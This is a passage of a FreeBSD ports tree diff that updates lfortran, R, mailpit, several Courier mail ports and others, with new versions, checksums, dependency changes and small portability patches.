LIBCXXABI_PROFILE + #define LIBCXXABI_PROFILE LIBCXXABI diff --git a/lang/gcc13/files/pkg-message.in b/lang/gcc13/files/pkg-message.in new file mode 100644 index 00000000000..df3ea725ce5 --- /dev/null +++ b/lang/gcc13/files/pkg-message.in @@ -0,0 +1,13 @@ +[ +{ type: install + message: </dev/null 2>&1; then ccache-update-links -v; fi +@postunexec if type ccache-update-links >/dev/null 2>&1; then ccache-update-links -v; fi +@comment Insert PLIST.lib here diff --git a/lang/lfortran/Makefile b/lang/lfortran/Makefile index 2e40337ba8e..90eb5c60592 100644 --- a/lang/lfortran/Makefile +++ b/lang/lfortran/Makefile @@ -1,7 +1,6 @@ PORTNAME= lfortran DISTVERSIONPREFIX= v -DISTVERSION= 0.18.0 -PORTREVISION= 2 +DISTVERSION= 0.19.0 CATEGORIES= lang MAINTAINER= fortran@FreeBSD.org @@ -18,28 +17,39 @@ BUILD_DEPENDS= bash:shells/bash \ dwarfdump:devel/dwarfdump \ rapidjson>0:devel/rapidjson LIB_DEPENDS= libfmt.so:devel/libfmt \ + libzstd.so:archivers/zstd \ libunwind.so:devel/libunwind \ libLLVM-${LLVM_VERSION}.so:devel/llvm${LLVM_VERSION} RUN_DEPENDS= dwarfdump:devel/dwarfdump USE_GITHUB= yes -USES= bison cmake:testing compiler:c++17-lang python:build shebangfix +USES= bison cmake:testing compiler:c++17-lang pkgconfig \ + python:build ssl shebangfix SHEBANG_FILES= *.sh BINARY_ALIAS= python=${PYTHON_CMD} -CMAKE_ON= LFORTRAN_BUILD_ALL WITH_DWARFDUMP WITH_FMT WITH_JSON WITH_LINKH WITH_LLVM WITH_UNWIND +CMAKE_ON= LFORTRAN_BUILD_ALL WITH_DWARFDUMP WITH_FMT WITH_JSON \ + WITH_LINKH WITH_LLVM WITH_STACKTRACE WITH_UNWIND -LLVM_VERSION= 11 +LLVM_VERSION= 15 OPTIONS_DEFINE= DOCS -# Xeus: version 2.4.1 is required -#LIB_DEPENDS+= libxeus.so:devel/xeus -#CMAKE_ON+= WITH_XEUS +# Xeus: version 3.0.5 is required and xeus-zmq 1.0.2 +# + xtl-quant-stack + cppzmq + nlohmann_json + LibUUID + libzmq4 +BUILD_DEPENDS+= xtl-quant-stack>=0.7:devel/xtl-quant-stack \ + nlohmann-json>0:devel/nlohmann-json \ + cppzmq>=4.8.1:net/cppzmq +LIB_DEPENDS+= libxeus.so:devel/xeus \ + libzmq.so:net/libzmq4 \ + libxeus-zmq.so:devel/xeus-zmq \ + libuuid.so:misc/e2fsprogs-libuuid +CMAKE_ON+= WITH_XEUS -# BFD: /usr/local/include/bfd.h:2108:3: error: unknown type name 'ENUM_BITFIELD' -#USE_BINUTILS= yes -#CMAKE_ON+= WITH_BFD +# BFD: +USE_BINUTILS= yes +CMAKE_ON+= WITH_BFD +LIB_DEPENDS+= libbfd-2.40.so:devel/binutils pre-configure: ${ECHO_CMD} ${PORTVERSION} > ${WRKSRC}/version diff --git a/lang/lfortran/distinfo b/lang/lfortran/distinfo index d8da9699560..835bd6e3a4b 100644 --- a/lang/lfortran/distinfo +++ b/lang/lfortran/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1667243059 -SHA256 (lfortran-lfortran-v0.18.0_GH0.tar.gz) = 6ec636580cb7e49e1cd68003850bba77dc4372d2eda3e3591d4bff6dffa31e7c -SIZE (lfortran-lfortran-v0.18.0_GH0.tar.gz) = 1713018 +TIMESTAMP = 1682782779 +SHA256 (lfortran-lfortran-v0.19.0_GH0.tar.gz) = d4aa69bfaecaee4523887a1747d565fb577c6c9f3663d15c86a29de3e7e87685 +SIZE (lfortran-lfortran-v0.19.0_GH0.tar.gz) = 2092717 diff --git a/lang/lfortran/files/patch-src_bin_CMakeLists.txt b/lang/lfortran/files/patch-src_bin_CMakeLists.txt deleted file mode 100644 index 10b23734303..00000000000 --- a/lang/lfortran/files/patch-src_bin_CMakeLists.txt +++ /dev/null @@ -1,24 +0,0 @@ ---- src/bin/CMakeLists.txt.orig 2022-10-18 21:48:01 UTC -+++ src/bin/CMakeLists.txt -@@ -2,7 +2,9 @@ add_executable(lfortran lfortran.cpp) - target_include_directories(lfortran PRIVATE "tpl") - target_link_libraries(lfortran lfortran_lib) - if (LFORTRAN_STATIC_BIN) -- if (CMAKE_SYSTEM_NAME STREQUAL "Linux") -+ if (CMAKE_SYSTEM_NAME STREQUAL "Linux" -+ OR CMAKE_SYSTEM_NAME STREQUAL "FreeBSD" -+ OR CMAKE_SYSTEM_NAME STREQUAL "OpenBSD") - # Link statically on Linux with gcc or clang - if (CMAKE_CXX_COMPILER_ID STREQUAL "GNU" OR - CMAKE_CXX_COMPILER_ID MATCHES Clang) -@@ -11,7 +13,9 @@ if (LFORTRAN_STATIC_BIN) - endif() - endif() - --if (CMAKE_SYSTEM_NAME STREQUAL "Linux") -+if (CMAKE_SYSTEM_NAME STREQUAL "Linux" -+ OR CMAKE_SYSTEM_NAME STREQUAL "FreeBSD" -+ OR CMAKE_SYSTEM_NAME STREQUAL "OpenBSD") - target_link_options(lfortran PRIVATE "LINKER:--export-dynamic") - endif() - diff --git a/lang/lfortran/files/patch-src_lfortran_tests_CMakeLists.txt b/lang/lfortran/files/patch-src_lfortran_tests_CMakeLists.txt deleted file mode 100644 index 6e02b1e24c6..00000000000 --- a/lang/lfortran/files/patch-src_lfortran_tests_CMakeLists.txt +++ /dev/null @@ -1,13 +0,0 @@ ---- src/lfortran/tests/CMakeLists.txt.orig 2022-10-18 21:48:01 UTC -+++ src/lfortran/tests/CMakeLists.txt -@@ -43,7 +43,9 @@ target_link_libraries(test_lfortran lfortran_lib p::do - add_test(test_lfortran ${PROJECT_BINARY_DIR}/test_lfortran) - - if (WITH_LLVM) -- if (CMAKE_SYSTEM_NAME STREQUAL "Linux") -+ if (CMAKE_SYSTEM_NAME STREQUAL "Linux" -+ OR CMAKE_SYSTEM_NAME STREQUAL "FreeBSD" -+ OR CMAKE_SYSTEM_NAME STREQUAL "OpenBSD") - target_link_options(test_lfortran PRIVATE "LINKER:--export-dynamic") - endif() - endif() diff --git a/lang/lfortran/pkg-plist b/lang/lfortran/pkg-plist index d5f4b83e65d..353bf2050a6 100644 --- a/lang/lfortran/pkg-plist +++ b/lang/lfortran/pkg-plist @@ -15,3 +15,4 @@ bin/lfortran %%DATADIR%%/lib/lfortran_intrinsic_trig.mod %%DATADIR%%/lib/liblfortran_runtime.so %%DATADIR%%/lib/liblfortran_runtime_static.a +share/jupyter/kernels/fortran/kernel.json diff --git a/lang/nickle/Makefile b/lang/nickle/Makefile index d4fcb5b5b29..d6527186d3d 100644 --- a/lang/nickle/Makefile +++ b/lang/nickle/Makefile @@ -1,5 +1,5 @@ PORTNAME= nickle -PORTVERSION= 2.90 +PORTVERSION= 2.91 CATEGORIES= lang MASTER_SITES= http://www.nickle.org/release/ diff --git a/lang/nickle/distinfo b/lang/nickle/distinfo index 72fbfb28a26..461ff5acae4 100644 --- a/lang/nickle/distinfo +++ b/lang/nickle/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1610037974 -SHA256 (nickle-2.90.tar.gz) = fbb3811aa0ac4b31e1702ea643dd3a6a617b2516ad6f9cfab76ec2779618e5a4 -SIZE (nickle-2.90.tar.gz) = 2514923 +TIMESTAMP = 1682675270 +SHA256 (nickle-2.91.tar.gz) = 4fff8c9b0245b9c32ff8fd43054b739325f3a7a52c4e3fc2d6e25e19b852964d +SIZE (nickle-2.91.tar.gz) = 2505408 diff --git a/lang/nickle/pkg-plist b/lang/nickle/pkg-plist index 8a34ae57331..21992f1003c 100644 --- a/lang/nickle/pkg-plist +++ b/lang/nickle/pkg-plist @@ -54,4 +54,5 @@ man/man1/nickle.1.gz %%DATADIR%%/test/round.5c %%DATADIR%%/test/scanf.5c %%DATADIR%%/test/signal.5c +%%DATADIR%%/test/sorttest.5c %%DATADIR%%/test/string-file.5c diff --git a/mail/courier-analog/Makefile b/mail/courier-analog/Makefile index cc741e8cb98..b36342b7390 100644 --- a/mail/courier-analog/Makefile +++ b/mail/courier-analog/Makefile @@ -1,5 +1,5 @@ PORTNAME= courier-analog -PORTVERSION= 0.17 +PORTVERSION= 0.21 CATEGORIES= mail MASTER_SITES= SF/courier/analog/${PORTVERSION} @@ -13,8 +13,11 @@ LICENSE_FILE= ${WRKSRC}/COPYING.GPL RUN_DEPENDS= p5-Getopt-Long>0:devel/p5-Getopt-Long USES= tar:bz2 autoreconf perl5 + GNU_CONFIGURE= yes +NO_ARCH= yes + PLIST_FILES= bin/courier-analog \ man/man8/courier-analog.8.gz diff --git a/mail/courier-analog/distinfo b/mail/courier-analog/distinfo index c367d4a0bc6..a232f55563a 100644 --- a/mail/courier-analog/distinfo +++ b/mail/courier-analog/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1588838777 -SHA256 (courier-analog-0.17.tar.bz2) = 973963f748018a577de4e3fb90ee56e65cd9a397cfd0f01596688971c62c8060 -SIZE (courier-analog-0.17.tar.bz2) = 77368 +TIMESTAMP = 1682938420 +SHA256 (courier-analog-0.21.tar.bz2) = 39812ba980a36f92e0daee695945b7af0aab1816cc4729f5efbcec1530682b45 +SIZE (courier-analog-0.21.tar.bz2) = 77724 diff --git a/mail/courier-imap/Makefile b/mail/courier-imap/Makefile index 5c8be50f5a4..7118ad2da2c 100644 --- a/mail/courier-imap/Makefile +++ b/mail/courier-imap/Makefile @@ -1,5 +1,5 @@ PORTNAME= courier-imap -PORTVERSION= 5.2.3 +PORTVERSION= 5.2.4 PORTEPOCH= 2 CATEGORIES= mail MASTER_SITES= SF/courier/imap/${PORTVERSION} diff --git a/mail/courier-imap/distinfo b/mail/courier-imap/distinfo index 53eb8205c1d..3e9737dcbd9 100644 --- a/mail/courier-imap/distinfo +++ b/mail/courier-imap/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680679832 -SHA256 (courier-imap-5.2.3.tar.bz2) = 6e26a8c9e22e1e959e81042741f31d8da99a3a49f5e75569581476ef4febf478 -SIZE (courier-imap-5.2.3.tar.bz2) = 3410307 +TIMESTAMP = 1682884066 +SHA256 (courier-imap-5.2.4.tar.bz2) = 6f25cd7f64a8ff00ebdbb73c4fc03c07d4e2eb4daf21259723de74c687a5f5e7 +SIZE (courier-imap-5.2.4.tar.bz2) = 3411159 diff --git a/mail/courier/Makefile b/mail/courier/Makefile index c47d70c00ad..273585a902b 100644 --- a/mail/courier/Makefile +++ b/mail/courier/Makefile @@ -11,8 +11,9 @@ WWW= https://www.Courier-MTA.org/ LICENSE= GPLv3 LICENSE_FILE= ${WRKSRC}/COPYING.GPL -BROKEN_FreeBSD_13= ld: error: duplicate symbol: sqwebmail_content_charset -BROKEN_FreeBSD_14= ld: error: duplicate symbol: sqwebmail_content_charset +BROKEN= ld: error: duplicate symbol: sqwebmail_content_charset +DEPRECATED= Broken for more than a year and fails to build on supported RELEASE +EXPIRATION_DATE= 2023-06-01 BUILD_DEPENDS= courierauthconfig:security/courier-authlib-base LIB_DEPENDS= libidn.so:dns/libidn \ diff --git a/mail/libpst/Makefile b/mail/libpst/Makefile index 39788677578..1b3d5778761 100644 --- a/mail/libpst/Makefile +++ b/mail/libpst/Makefile @@ -1,6 +1,6 @@ PORTNAME= libpst PORTVERSION= 0.6.76 -PORTREVISION= 2 +PORTREVISION= 3 CATEGORIES= mail converters MASTER_SITES= https://www.five-ten-sg.com/libpst/packages/ \ https://fossies.org/unix/privat/ \ diff --git a/mail/maildrop/Makefile b/mail/maildrop/Makefile index f3438b94981..1826dabf16b 100644 --- a/mail/maildrop/Makefile +++ b/mail/maildrop/Makefile @@ -13,7 +13,7 @@ # MAILDROP_MBOX_DIR= Specify DEFAULT mailbox location PORTNAME= maildrop -PORTVERSION= 3.1.4 +PORTVERSION= 3.1.5 CATEGORIES= mail MASTER_SITES= SF/courier/${PORTNAME}/${PORTVERSION} diff --git a/mail/maildrop/distinfo b/mail/maildrop/distinfo index 83644807233..c24c527d92b 100644 --- a/mail/maildrop/distinfo +++ b/mail/maildrop/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680856768 -SHA256 (maildrop-3.1.4.tar.bz2) = a83706314f351cba0b10b6d8a80e32e4eee76410eb08473ddf7d68f5aa252dd0 -SIZE (maildrop-3.1.4.tar.bz2) = 2156148 +TIMESTAMP = 1682883733 +SHA256 (maildrop-3.1.5.tar.bz2) = 23383fb39b9269045646939748ee737e75c9f23994f8c06723f304c97a78da5a +SIZE (maildrop-3.1.5.tar.bz2) = 2156334 diff --git a/mail/mailpit/Makefile b/mail/mailpit/Makefile index 7d1e7d98942..c4fece57419 100644 --- a/mail/mailpit/Makefile +++ b/mail/mailpit/Makefile @@ -13,9 +13,6 @@ WWW= https://github.com/axllent/mailpit LICENSE= MIT LICENSE_FILE= ${WRKSRC}/LICENSE -ONLY_FOR_ARCHS= aarch64 amd64 -ONLY_FOR_ARCHS_REASON= Unsupported platform by required npm module - BUILD_DEPENDS+= npm>0:www/npm USES= go:modules tar:zstd @@ -91,7 +88,7 @@ pre-build: cd ${WRKSRC} && ${SETENV} ${MAKE_ENV} npm run build # (for maintainer) helper target to generate node_modules tarball -make-npm-cache: extract +make-npm-cache: patch @cd ${WRKDIR} && ${RM} -r .npm @cd ${WRKSRC} && ${SETENV} HOME=${WRKDIR} npm ci @cd ${WRKDIR} \ diff --git a/mail/mailpit/distinfo b/mail/mailpit/distinfo index 8f73f8a44f2..2b3a6deb178 100644 --- a/mail/mailpit/distinfo +++ b/mail/mailpit/distinfo @@ -1,6 +1,6 @@ -TIMESTAMP = 1682440772 -SHA256 (mailpit-npm-cache-1.6.5.tar.zst) = 1f407be06dc5d15ef3d5d211188eb2c043ef742d0dbb53f17331776630a0e23f -SIZE (mailpit-npm-cache-1.6.5.tar.zst) = 25903633 +TIMESTAMP = 1682846536 +SHA256 (mailpit-npm-cache-1.6.5.tar.zst) = c916be044041890a2e38533be7b3100bf9f924c32588401c018a4a41745388d5 +SIZE (mailpit-npm-cache-1.6.5.tar.zst) = 28857889 SHA256 (axllent-mailpit-v1.6.5_GH0.tar.gz) = 6c2d99dab0f6ae6f937b1372238f7b7cea7c286ca4a8c60eeba506e42e9fabc1 SIZE (axllent-mailpit-v1.6.5_GH0.tar.gz) = 230966 SHA256 (DATA-DOG-go-sqlmock-v1.5.0_GH0.tar.gz) = b78616fddfcc76892aecb5344968d7f3843128b70eba6c4752f092dc992c3b98 diff --git a/mail/mailpit/files/patch-package-lock.json b/mail/mailpit/files/patch-package-lock.json new file mode 100644 index 00000000000..87069162f80 --- /dev/null +++ b/mail/mailpit/files/patch-package-lock.json @@ -0,0 +1,217 @@ +--- package-lock.json.orig 2023-04-30 09:15:38 UTC ++++ package-lock.json +@@ -21,9 +21,9 @@ + "devDependencies": { + "@popperjs/core": "^2.11.5", + "@vue/compiler-sfc": "^3.2.37", +- "esbuild": "^0.17.5", + "esbuild-plugin-vue-next": "^0.1.4", +- "esbuild-sass-plugin": "^2.3.2" ++ "esbuild-sass-plugin": "^2.3.2", ++ "esbuild-wasm": "^0.17.5" + } + }, + "node_modules/@apitools/openapi-parser": { +@@ -69,6 +69,7 @@ + "os": [ + "android" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -85,6 +86,7 @@ + "os": [ + "android" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -101,6 +103,7 @@ + "os": [ + "android" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -117,6 +120,7 @@ + "os": [ + "darwin" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -133,6 +137,7 @@ + "os": [ + "darwin" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -149,6 +154,7 @@ + "os": [ + "freebsd" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -165,6 +171,7 @@ + "os": [ + "freebsd" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -181,6 +188,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -197,6 +205,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -213,6 +222,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -229,6 +239,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -245,6 +256,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -261,6 +273,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -277,6 +290,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -293,6 +307,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -309,6 +324,7 @@ + "os": [ + "linux" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -325,6 +341,7 @@ + "os": [ + "netbsd" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -341,6 +358,7 @@ + "os": [ + "openbsd" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -357,6 +375,7 @@ + "os": [ + "sunos" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -373,6 +392,7 @@ + "os": [ + "win32" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -389,6 +409,7 @@ + "os": [ + "win32" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -405,6 +426,7 @@ + "os": [ + "win32" + ], ++ "peer": true, + "engines": { + "node": ">=12" + } +@@ -1288,6 +1310,7 @@ + "integrity": "sha512-/jUywtAymR8jR4qsa2RujlAF7Krpt5VWi72Q2yuLD4e/hvtNcFQ0I1j8m/bxq238pf3/0KO5yuXNpuLx8BE1KA==", + "dev": true, + "hasInstallScript": true, ++ "peer": true, + "bin": { + "esbuild": "bin/esbuild" + }, +@@ -1343,6 +1366,18 @@ + }, + "peerDependencies": { + "esbuild": "^0.17.17" ++ } ++ }, ++ "node_modules/esbuild-wasm": { ++ "version": "0.17.18", ++ "resolved": "https://registry.npmjs.org/esbuild-wasm/-/esbuild-wasm-0.17.18.tgz", ++ "integrity": "sha512-h4m5zVa+KaDuRFIbH9dokMwovvkIjTQJS7/Ry+0Z1paVuS9aIkso2vdA2GmwH9GSvGX6w71WveJ3PfkoLuWaRw==", ++ "dev": true, ++ "bin": { ++ "esbuild": "bin/esbuild" ++ }, ++ "engines": { ++ "node": ">=12" + } + }, + "node_modules/estree-walker": { diff --git a/mail/mailpit/files/patch-package.json b/mail/mailpit/files/patch-package.json new file mode 100644 index 00000000000..6261f0cc109 --- /dev/null +++ b/mail/mailpit/files/patch-package.json @@ -0,0 +1,11 @@ +--- package.json.orig 2023-04-30 09:15:32 UTC ++++ package.json +@@ -21,7 +21,7 @@ + "devDependencies": { + "@popperjs/core": "^2.11.5", + "@vue/compiler-sfc": "^3.2.37", +- "esbuild": "^0.17.5", ++ "esbuild-wasm": "^0.17.5", + "esbuild-plugin-vue-next": "^0.1.4", + "esbuild-sass-plugin": "^2.3.2" + } diff --git a/mail/meta1/Makefile b/mail/meta1/Makefile index 30b538c9685..25cf0c4c152 100644 --- a/mail/meta1/Makefile +++ b/mail/meta1/Makefile @@ -47,40 +47,33 @@ OPTIONS_DEFAULT= PMILTER DKIM SASL2 TLS NO_OPTIONS_SORT=yes OPTIONS_SUB= yes -PMILTER_DESC= Adds policy milter support DKIM_DESC= Enable DKIM signing support MSP_DESC= Enable mail submision program -SASL2_DESC= Adds SASL2 support +PMILTER_DESC= Adds policy milter support SASL2AUTHD_DESC= Enable plaintext authentication via SASL2 +SASL2_DESC= Adds SASL2 support +DKIM_CONFIGURE_ENABLE= DKIM +IPV6_MAKE_ENV= MTA_NETINET6=1 +MSP_CONFIGURE_ENABLE= msp +MSP_CONFLICTS= courier-0.* postfix-1.* postfix-2.* smail-3.* zmailer-2.* opensmtpd-* sendmail-* PMILTER_USES= ssl PMILTER_CONFIGURE_ENABLE= pmilter -DKIM_CONFIGURE_ENABLE= DKIM -MSP_CONFIGURE_ENABLE= msp +SASL2AUTHD_IMPLIES= SASL2 +SASL2AUTHD_RUN_DEPENDS= saslauthd:security/cyrus-sasl2-saslauthd SASL2_LIB_DEPENDS= libsasl2.so:security/cyrus-sasl2 -SASL2_CONFIGURE_ENABLE= SASL SASL2_CONFIGURE_ON= --with-sasl-incdir=${LOCALBASE}/include \ --with-sasl-libdir=${LOCALBASE}/lib -SASL2AUTHD_RUN_DEPENDS= saslauthd:security/cyrus-sasl2-saslauthd +SASL2_CONFIGURE_ENABLE= SASL TLS_USES= ssl TLS_CONFIGURE_ENABLE= TLS TLS_CPPFLAGS= -I${LOCALBASE}/include TLS_LDFLAGS= -L${LOCALBASE}/lib -.include +.include -.if ${PORT_OPTIONS:MIPV6} -MAKE_ENV+= MTA_NETINET6=1 -.endif - -.if ${PORT_OPTIONS:MMSP} -CONFLICTS+= courier-0.* postfix-1.* postfix-2.* smail-3.* zmailer-2.* opensmtpd-* sendmail-* -.endif - -.if ${PORT_OPTIONS:MSASL2AUTHD} -.if empty(PORT_OPTIONS:MSASL2) -IGNORE= option SASL2AUTHD needs option SASL2 -.endif +.if ${OPSYS} == FreeBSD && ${OSVERSION} >= 1400079 +CFLAGS+= -Wno-error=int-conversion .endif post-configure: @@ -120,4 +113,4 @@ post-install: cd ${WRKSRC}/doc && ${INSTALL_DATA} ${PORTDOCS} ${STAGEDIR}${DOCSDIR}/ .endif -.include +.include diff --git a/mail/rblcheck/files/patch-rblcheck.c b/mail/rblcheck/files/patch-rblcheck.c index 4cb78bc51dc..3ffc25e9c53 100644 --- a/mail/rblcheck/files/patch-rblcheck.c +++ b/mail/rblcheck/files/patch-rblcheck.c @@ -1,5 +1,5 @@ ---- rblcheck.c 2002-11-16 21:32:39 UTC -+++ rblcheck.c 2020-03-19 11:45:01 EST +--- rblcheck.c.orig 2002-11-16 21:32:39 UTC ++++ rblcheck.c @@ -21,15 +21,15 @@ ** */ @@ -18,7 +18,7 @@ /*-- PORTABILITY ------------------------------------------------------------*/ -@@ -184,23 +184,26 @@ struct rbl * togglesite( char * sitename +@@ -184,23 +184,26 @@ struct rbl * togglesite( char * sitename, struct rbl * * domain. If "txt" is non-zero, we perform a TXT record lookup. We * return the text returned from a TXT match, or an empty string, on * a successful match, or NULL on an unsuccessful match. */ @@ -51,7 +51,7 @@ /* Make our DNS query. */ res_init(); -@@ -239,11 +242,11 @@ char * rblcheck( int a, int b, int c, in +@@ -239,11 +242,11 @@ char * rblcheck( int a, int b, int c, int d, char * rb } /* Skip the header and the address we queried. */ @@ -66,7 +66,7 @@ cp++; } -@@ -258,8 +261,8 @@ char * rblcheck( int a, int b, int c, in +@@ -258,8 +261,8 @@ char * rblcheck( int a, int b, int c, int d, char * rb cp += ( NS_INT16SZ * 2 ) + NS_INT32SZ; /* Get the length and end of the buffer. */ @@ -77,7 +77,7 @@ /* Iterate over any multiple answers we might have. In this context, it's unlikely, but anyway. */ -@@ -267,10 +270,10 @@ char * rblcheck( int a, int b, int c, in +@@ -267,10 +270,10 @@ char * rblcheck( int a, int b, int c, int d, char * rb rend = result + RESULT_SIZE - 1; while( cp < cend && rp < rend ) { @@ -92,7 +92,7 @@ { if( *cp == '\n' || *cp == '"' || *cp == '\\' ) -@@ -289,22 +292,38 @@ char * rblcheck( int a, int b, int c, in +@@ -289,22 +292,38 @@ char * rblcheck( int a, int b, int c, int d, char * rb * RBL listing, handling output of results if necessary. */ int full_rblcheck( char * addr ) { @@ -137,3 +137,14 @@ if( !quiet || response ) printf( "%s %s%s%s%s%s%s", addr, ( !quiet && !response ? "not " : "" ), +@@ -328,9 +347,7 @@ int full_rblcheck( char * addr ) + + /*-- MAINLINE ---------------------------------------------------------------*/ + +-int main( argc, argv ) +- int argc; +- char **argv; ++int main( int argc, char ** argv ) + { + int a; + struct rbl * ptr; diff --git a/mail/spamdyke/Makefile b/mail/spamdyke/Makefile index df3d386d827..20f0d17faac 100644 --- a/mail/spamdyke/Makefile +++ b/mail/spamdyke/Makefile @@ -13,6 +13,8 @@ LICENSE= GPLv2 BROKEN_mips= fails to build: error: nested functions are disabled, use -fnested-functions to re-enable BROKEN_mips64= fails to build: error: nested functions are disabled, use -fnested-functions to re-enable BROKEN_powerpc64= fails to build: error: nested functions are disabled, use -fnested-functions to re-enable +DEPRECATED= Broken for more than a year and last upstream release was in 2015 +EXPIRATION_DATE= 2023-06-01 RUN_DEPENDS= ${LOCALBASE}/bin/tcprules:sysutils/ucspi-tcp diff --git a/math/Makefile b/math/Makefile index 459c704d2af..384530c4ef4 100644 --- a/math/Makefile +++ b/math/Makefile @@ -957,6 +957,7 @@ SUBDIR += py-mip SUBDIR += py-mixsimulator SUBDIR += py-ml-dtypes + SUBDIR += py-mnnpy SUBDIR += py-moarchiving SUBDIR += py-mpmath SUBDIR += py-munkres diff --git a/math/R-cran-MatchIt/Makefile b/math/R-cran-MatchIt/Makefile index 23d4337039b..7f4b5c84487 100644 --- a/math/R-cran-MatchIt/Makefile +++ b/math/R-cran-MatchIt/Makefile @@ -1,6 +1,5 @@ PORTNAME= MatchIt -DISTVERSION= 4.5.2 -PORTREVISION= 1 +DISTVERSION= 4.5.3 CATEGORIES= math DISTNAME= ${PORTNAME}_${DISTVERSION} @@ -12,9 +11,11 @@ LICENSE= GPLv2+ BUILD_DEPENDS= R-cran-Matching>=0:math/R-cran-Matching \ R-cran-rgenoud>=0:math/R-cran-rgenoud \ - R-cran-Rcpp>=0:devel/R-cran-Rcpp \ + R-cran-Rcpp>=1.0.10:devel/R-cran-Rcpp \ R-cran-RcppProgress>=0:devel/R-cran-RcppProgress \ - R-cran-backports>=0:math/R-cran-backports + R-cran-backports>=0:math/R-cran-backports \ + R-cran-rlang>=1.1.0:devel/R-cran-rlang \ + R-cran-chk>=0:devel/R-cran-chk RUN_DEPENDS= R-cran-Matching>=0:math/R-cran-Matching \ R-cran-rgenoud>=0:math/R-cran-rgenoud\ R-cran-Rcpp>=:devel/R-cran-Rcpp\ diff --git a/math/R-cran-MatchIt/distinfo b/math/R-cran-MatchIt/distinfo index 44c0fa0cb35..cc856045504 100644 --- a/math/R-cran-MatchIt/distinfo +++ b/math/R-cran-MatchIt/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1680351787 -SHA256 (MatchIt_4.5.2.tar.gz) = ef6e3084cbc66e570147e6e34b33047a1349b7f20a2d8c4cfa732516cb2df30a -SIZE (MatchIt_4.5.2.tar.gz) = 1716987 +TIMESTAMP = 1682671697 +SHA256 (MatchIt_4.5.3.tar.gz) = 35625894bc8360b6b2b6f77046f6c764c52d049a1a0ed93076711b464271ca1a +SIZE (MatchIt_4.5.3.tar.gz) = 1717264 diff --git a/math/R/Makefile b/math/R/Makefile index 61ca7dc49a1..a2a107950e9 100644 --- a/math/R/Makefile +++ b/math/R/Makefile @@ -1,6 +1,5 @@ PORTNAME= R -DISTVERSION= 4.2.3 -PORTREVISION= 2 +DISTVERSION= 4.3.0 CATEGORIES= math lang MASTER_SITES= CRAN/src/base/R-${PORTVERSION:C|\..*||} diff --git a/math/R/distinfo b/math/R/distinfo index fc043c53a26..ee659094b13 100644 --- a/math/R/distinfo +++ b/math/R/distinfo @@ -1,3 +1,3 @@ -TIMESTAMP = 1678913879 -SHA256 (R-4.2.3.tar.gz) = 55e4a9a6d43be314e2c03d0266a6fa5444afdce50b303bfc3b82b3979516e074 -SIZE (R-4.2.3.tar.gz) = 34010655 +TIMESTAMP = 1682816983 +SHA256 (R-4.3.0.tar.gz) = 45dcc48b6cf27d361020f77fde1a39209e997b81402b3663ca1c010056a6a609 +SIZE (R-4.3.0.tar.gz) = 34821768 diff --git a/math/R/files/patch-configure b/math/R/files/patch-configure deleted file mode 100644 index 831a1009695..00000000000 --- a/math/R/files/patch-configure +++ /dev/null @@ -1,30 +0,0 @@ ---- configure.orig 2023-03-07 23:16:14 UTC -+++ configure -@@ -8529,6 +8529,7 @@ if test $ac_compiler_gnu = yes; then - else - GFC= - fi -+G77=yes - ac_ext=c - ac_cpp='$CPP $CPPFLAGS' - ac_compile='$CC -c $CFLAGS $CPPFLAGS conftest.$ac_ext >&5' -@@ -47587,8 +47588,8 @@ fi - done - - if test "x${have_libcurl}" = "xyes"; then --{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if libcurl is version 7 and >= 7.28.0" >&5 --printf %s "checking if libcurl is version 7 and >= 7.28.0... " >&6; } -+{ printf "%s\n" "$as_me:${as_lineno-$LINENO}: checking if libcurl is >= 7.28.0" >&5 -+printf %s "checking if libcurl is >= 7.28.0... " >&6; } - if test ${r_cv_have_curl728+y} - then : - printf %s "(cached) " >&6 -@@ -47606,7 +47607,7 @@ int main(int argc, const char * argv[]) - { - #ifdef LIBCURL_VERSION_MAJOR - #if LIBCURL_VERSION_MAJOR > 7 -- exit(1); -+ exit(0); - #elif LIBCURL_VERSION_MAJOR == 7 && LIBCURL_VERSION_MINOR >= 28 - exit(0); - #else diff --git a/math/R/pkg-plist b/math/R/pkg-plist index 32b6ab51c54..01ff8fae360 100644 --- a/math/R/pkg-plist +++ b/math/R/pkg-plist @@ -589,6 +589,10 @@ lib/R/library/grDevices/enc/MacRoman.enc lib/R/library/grDevices/enc/PDFDoc.enc lib/R/library/grDevices/enc/TeXtext.enc lib/R/library/grDevices/enc/WinAnsi.enc +lib/R/library/grDevices/fonts/Montserrat/static/Montserrat-BoldItalic.ttf +lib/R/library/grDevices/fonts/Montserrat/static/Montserrat-Medium.ttf +lib/R/library/grDevices/fonts/Roboto/LICENSE.txt 